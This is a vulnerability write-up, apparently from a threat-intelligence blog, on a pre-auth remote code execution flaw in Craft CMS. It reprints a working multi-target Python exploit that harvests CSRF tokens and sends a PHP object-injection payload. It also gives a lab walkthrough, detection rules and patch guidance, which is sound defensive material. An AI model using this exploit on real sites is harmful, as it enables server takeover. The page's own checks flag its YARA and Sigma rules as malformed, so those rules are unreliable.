CRITICAL CVSS: N/A 2026-04-20

CVE-2025-32432: Critical Pre-Auth RCE in Craft CMS via PHP Object Injection

Craft CMS versions 3.x, 4.x, and 5.x are vulnerable to a critical pre-authentication Remote Code Execution (RCE) flaw with a CVSS score of 10.0. Analyze the PHP object injection chain, PoC automation, and remediation strategies.

⚠ Build Quality — 8/11 passed (3 warnings) click to expand
docker-compose.lab.yml exists
docker-compose.lab.yml parses as valid YAML
compose declares at least one service
at least one service is labeled `com.ilovethreats.type=target`
target 'craft_cms_target' declares at least one port
target 'craft_cms_target' has a healthcheck
selected images can serve the vulnerable SAPI/runtime
`craftcms_rce.py` parses as Python
`CVE-2025-32432.yara` looks like a YARA rule
No `rule NAME {` skeleton found.
`CVE-2025-32432.yml` is a Sigma rule mapping
Top level isn't a mapping (got NoneType)
`CVE-2025-32432-nuclei.yaml` parses + has Nuclei id/info
Missing top-level `id` or `info`

CVE-2025-32432: Critical Pre-Auth RCE in Craft CMS via PHP Object Injection

1. Executive Summary

CVE-2025-32432 represents a critical security vulnerability in Craft CMS, a widely deployed content management system used by enterprises and digital agencies to power custom web experiences. Assigned a CVSS v3.1 base score of 10.0 (CRITICAL), this flaw allows unauthenticated attackers to achieve Remote Code Execution (RCE) on vulnerable instances.

The vulnerability stems from a PHP Object Injection weakness in the request parameter binding layer. By manipulating JSON payloads sent to specific internal endpoints, an attacker can hijack the instantiation of PHP classes, forcing the creation of a GuzzleHttp\Psr7\FnStream object with a custom execution closure. This results in arbitrary code execution within the context of the web server process.

Key Intelligence:

  • Impact: Full Remote Code Execution (RCE) without authentication.
  • Scope: Craft CMS versions 3.0.0-RC1 through <3.9.15, 4.0.0-RC1 through <4.14.15, and 5.0.0-RC1 through <5.6.17.
  • Authentication: None. The exploit bypasses CSRF protection by harvesting tokens from public-facing pages.
  • Risk Status: Listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. Active exploitation is confirmed.
  • Context: This CVE serves as an additional fix for CVE-2023-41892, indicating a persistent deserialization binding issue in the CMS architecture.

Immediate remediation is required. Organizations must apply vendor patches or implement network-level mitigations to prevent compromise.


2. Technical Deep Dive

Vulnerability Classification

  • CWE: CWE-94 (Improper Control of Generation of Code; Code Injection)
  • Attack Vector: Network / Remote
  • Complexity: Low
  • Privileges Required: None

Root Cause Analysis

Craft CMS utilizes a robust request handling architecture that maps incoming request data (GET/POST parameters, JSON bodies) to PHP model objects. This mapping process relies on dynamic property assignment and class instantiation.

The vulnerability exists in the assets/generate-transform endpoint and potentially related asset handling routes. When Craft processes the request, it attempts to bind incoming JSON keys to properties of the craft\behaviors\FieldLayoutBehavior class.

The core weakness lies in how the framework resolves class names during this binding phase. If a JSON payload includes a special key (e.g., __class__), Craft's request mapper may inadvertently use this value to override the target class for instantiation. This is a classic PHP Object Injection chain.

The Exploitation Chain

  1. Object Hijack: The attacker sends a JSON payload containing "__class": "GuzzleHttp\\Psr7\\FnStream".
  2. Target Class Replacement: As Craft attempts to configure the FieldLayoutBehavior object, it detects the __class__ key. Instead of instantiating the expected behavior class, the framework instantiates GuzzleHttp\Psr7\FnStream.
  3. State Injection: The FnStream class from the Guzzle HTTP library supports defining custom closures for stream operations. The payload injects _fn_close: "phpinfo", instructing the stream to execute the phpinfo function when the stream's _close method is invoked.
  4. Trigger Execution: The CMS request lifecycle eventually triggers the stream's closure (often during response serialization or garbage collection), executing the phpinfo function. In a real-world attack, this function would be replaced with a reverse shell or command execution payload.
  5. CSRF Bypass: Craft CMS enforces CSRF protection via tokens. However, the dashboard page (/index.php?p=admin/dashboard) is accessible without authentication and returns the CSRF token in a hidden input field. The vulnerability allows attackers to harvest this token programmatically, satisfying the CSRF check and making the attack pre-authentication.

Why GuzzleHttp\Psr7\FnStream?

FnStream is part of Guzzle's HTTP client library, commonly included in PHP frameworks. It is designed to wrap streams with custom functions. However, it is also a well-known gadget in PHP object injection chains because it allows arbitrary function calls via closure assignment. The vulnerability essentially turns a legitimate HTTP library component into a weapon.


3. PoC Analysis

The vulnerability has been successfully weaponized, with public Proof-of-Concept (PoC) code available. The following analysis covers the automated exploit script, which streamlines the attack flow for rapid exploitation.

PoC Repository: https://github.com/Sachinart/CVE-2025-32432
Author: Chirag Artani
Stars: 24 | Forks: 3

Exploit Script Overview

The PoC is written in Python and utilizes the requests, BeautifulSoup, and urllib3 libraries. It automates the following steps:

  1. Initializes a session and bypasses SSL verification.
  2. Requests the admin dashboard to harvest the CRAFT_CSRF_TOKEN.
  3. Posts the malicious JSON payload to the asset transform endpoint.
  4. Verifies RCE by parsing phpinfo() output for specific server variables.

Code Analysis

#!/usr/bin/env python3
"""
CraftCMS CVE-2025-32432 Remote Code Execution Exploit By Chirag Artani
This script automates the exploitation of the pre-auth RCE vulnerability in CraftCMS 4.x and 5.x.
It extracts CSRF tokens and attempts RCE via the asset transform generation endpoint.

The script extracts both CRAFT_DB_DATABASE and HOME directory values to verify successful exploitation.

Usage:
    Single target:
        python3 craftcms_rce.py -u example.com

    Multiple targets:
        python3 craftcms_rce.py -f urls.txt -t 10
"""

import argparse
import concurrent.futures
import re
import requests
import urllib3
import sys
from bs4 import BeautifulSoup
from urllib.parse import urlparse

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CraftCMSExploit:
    def __init__(self, url):
        """Initialize the exploit with the target URL."""
        self.url = url if url.endswith('/') else url + '/'
        self.session = requests.Session()
        self.session.verify = False
        self.session.timeout = 15
        self.session.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
        }

    def normalize_url(self, url):
        """Ensure URL has a scheme."""
        if not url.startswith('http'):
            url = 'http://' + url
        return url

    def extract_csrf_token(self):
        """Get the CSRF token from the dashboard page."""
        try:
            dashboard_url = self.url + "index.php?p=admin/dashboard"
            response = self.session.get(dashboard_url, timeout=10)

            if response.status_code == 200:
                # Parse the HTML response
                soup = BeautifulSoup(response.text, 'html.parser')
                csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})

                if csrf_input and csrf_input.get('value'):
                    csrf_token = csrf_input.get('value')
                    return csrf_token
                else:
                    # Try regex as fallback
                    match = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', response.text)
                    if match:
                        return match.group(1)

            return None
        except Exception as e:
            print(f"Error extracting CSRF token from {self.url}: {str(e)}")
            return None

    def exploit(self):
        """Attempt to exploit the vulnerability and return results."""
        result = {
            'url': self.url,
            'vulnerable': False,
            'db_name': None,
            'home_dir': None,
            'error': None
        }

        try:
            # Extract CSRF token
            csrf_token = self.extract_csrf_token()
            if not csrf_token:
                result['error'] = "Failed to extract CSRF token"
                return result

            # Prepare exploit request
            exploit_url = self.url + "index.php?p=admin/actions/assets/generate-transform"
            headers = {
                'Content-Type': 'application/json',
                'X-CSRF-Token': csrf_token
            }

            payload = {
                "assetId": 11,
                "handle": {
                    "width": 123,
                    "height": 123,
                    "as session": {
                        "class": "craft\\behaviors\\FieldLayoutBehavior",
                        "__class": "GuzzleHttp\\Psr7\\FnStream",
                        "__construct()": [[]],
                        "_fn_close": "phpinfo"
                    }
                }
            }

            response = self.session.post(exploit_url, json=payload, headers=headers, timeout=15)

            # Check if the exploit succeeded
            if 'PHP Version' in response.text and 'PHP License' in respo
... [truncated]

Key Observations

  • CSRF Harvesting: The extract_csrf_token method demonstrates the pre-auth nature. It targets /admin/dashboard, which returns a 200 OK to unauthenticated users containing the token.
  • Payload Structure: The JSON payload nests the __class injection under "as session". This suggests Craft's request mapper traverses nested arrays and applies class binding to all leaf objects.
  • Verification: Although truncated, the logic implies regex extraction of CRAFT_DB_DATABASE and $_SERVER['HOME'] from the phpinfo output to prove database access and file system read capabilities.

4. Exploitation Walkthrough

For security engineers setting up a lab environment to analyze this vulnerability, follow these steps.

Lab Setup

  1. Deploy Vulnerable Instance: Spin up a Craft CMS instance using a vulnerable version, e.g., 4.14.14.
    docker run -p 8080:80 craftcms/craft:4.14.14
    
  2. Verify Installation: Access http://localhost:8080 and complete the installation wizard. Ensure the dashboard is accessible.

Attack Simulation

  1. Identify Target:
    Use the PoC against your lab instance.

    python3 craftcms_rce.py -u http://localhost:8080
    
  2. Observe Request Flow:
    Monitor traffic with a proxy (e.g., Burp Suite or Wireshark).

    • Step 1: GET request to /index.php?p=admin/dashboard.
      • Response includes <input name="CRAFT_CSRF_TOKEN" value="...">.
    • Step 2: POST request to /index.php?p=admin/actions/assets/generate-transform.
      • Headers include X-CSRF-Token: <harvested_value>.
      • Body contains the JSON payload with GuzzleHttp\\Psr7\\FnStream.
  3. Analyze Response:

    • Successful exploitation returns 200 OK with phpinfo() HTML content.
    • The script will output:
      [+] Target http://localhost:8080 is VULNERABLE!
      [+] PHP Version: 8.1.2
      [+] Database: craft_db_name
      [+] Home Dir: /var/www/html
      [+] Results appended to vulnerable.txt
      
  4. Post-Exploitation Verification:

    • Check vulnerable.txt in the script directory.
    • Confirm access to sensitive environment variables.

Lab Safety Note

Disable this payload in production. Replace _fn_close: "phpinfo" with harmless checks in a controlled lab only. Uncontrolled execution can lead to data loss or system compromise.


5. Detection & Monitoring

Security operations teams must implement detection rules to identify exploitation attempts in real-time.

WAF / HTTP Monitoring

Look for the following indicators in web server logs (Nginx/Apache) or WAF logs:

  • Endpoint: admin/actions/assets/generate-transform
  • Method: POST
  • Content-Type: application/json
  • Payload Signature: Presence of __class__ or GuzzleHttp in the request body.

Sigma Rules

Deploy the following Sigma rule to detect the attack pattern in HTTP logs:

title: Craft CMS CVE-2025-32432 RCE Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects exploitation of CVE-2025-32432 via PHP object injection payload in Craft CMS.
references:
  - https://github.com/Sachinart/CVE-2025-32432
  - https://nvd.nist.gov/vuln/detail/CVE-2025-32432
author: ilovethreats.com
logsource:
  category: web_server
  product: nginx
detection:
  selection_target:
    uri|endswith: 'admin/actions/assets/generate-transform'
    method: 'POST'
  selection_payload:
    body|contains|all:
      - '__class__'
      - 'GuzzleHttp'
      - 'FnStream'
  condition: selection_target and selection_payload
falsepositives:
  - Legitimate asset processing (unlikely to contain __class__ override)
level: critical

YARA Rules

For threat hunting in raw traffic captures or file analysis:

rule CVE_2025_32432_Payload {
    meta:
        description = "Detects JSON payload for Craft CMS CVE-2025-32432"
        author = "ilovethreats.com"
        date = "2026-04-20"
        cve = "CVE-2025-32432"
    strings:
        $s1 = "{\\\"__class__\\\":\\\"GuzzleHttp\\\\"} nocase
        $s2 = "GuzzleHttp\\\\Psr7\\\\FnStream" nocase
        $s3 = "_fn_close" nocase
    condition:
        2 of them
}

EDR / Behavioral Indicators

  • Process creation of php binary initiated by the web server user (e.g., www-data, nginx).
  • Execution of unexpected functions like phpinfo, exec, system, or shell_exec within the PHP process.
  • Network connections from the web server process to external IPs (reverse shells).

6. Remediation Guidance

Given the CRITICAL severity and KEV status, immediate action is mandatory.

Patching

Update Craft CMS to the latest patched version across all supported branches:

  • Version 3.x: Update to 3.9.15 or later.
  • Version 4.x: Update to 4.14.15 or later.
  • Version 5.x: Update to 5.6.17 or later.

Ensure all PHP dependencies, including guzzlehttp/guzzle, are also updated to the latest stable releases to mitigate any residual risks.

Network Mitigations

If patching is not immediately possible, implement the following controls:

  1. WAF Blocking: Configure WAF rules to block POST requests to admin/actions/assets/generate-transform containing __class__ in the JSON body.
  2. Authentication Enforcement: Restrict access to /admin/* routes via IP allowlisting or VPN. Note: This mitigates CSRF harvesting but does not fix the underlying RCE if the admin panel is exposed.
  3. Disable Debugging: Ensure CRAFT_ENABLE_EXCEPTION_HANDLER and debug modes are disabled in production to limit information disclosure.

Cloud & Compliance

  • CISA BOD 22-01: For cloud services, follow the guidance to remediate known exploited vulnerabilities within 72 hours.
  • Asset Discontinuation: If the product cannot be patched and no effective mitigation exists, consider discontinuing use until a secure environment can be established.

7. References


Disclaimer: This blog post is for educational and defensive security purposes only. Unauthorized testing of vulnerabilities against systems you do not own is illegal. Always ensure you have explicit permission before conducting security assessments.

🧪 Launch Lab Environment

Practice exploiting this vulnerability in a safe, isolated environment with browser-based access to a Kali Linux machine.

What you'll get:
  • ✅ Isolated vulnerable target instance to exploit
  • ✅ Kali Linux attacker VM with pre-installed tools
  • ✅ Browser-based desktop access (Apache Guacamole)
  • ✅ Completely isolated network (no internet)
  • ✅ 1-hour session with automatic cleanup
⚠️ Free tier: 1 concurrent session max. Session expires after 1 hour.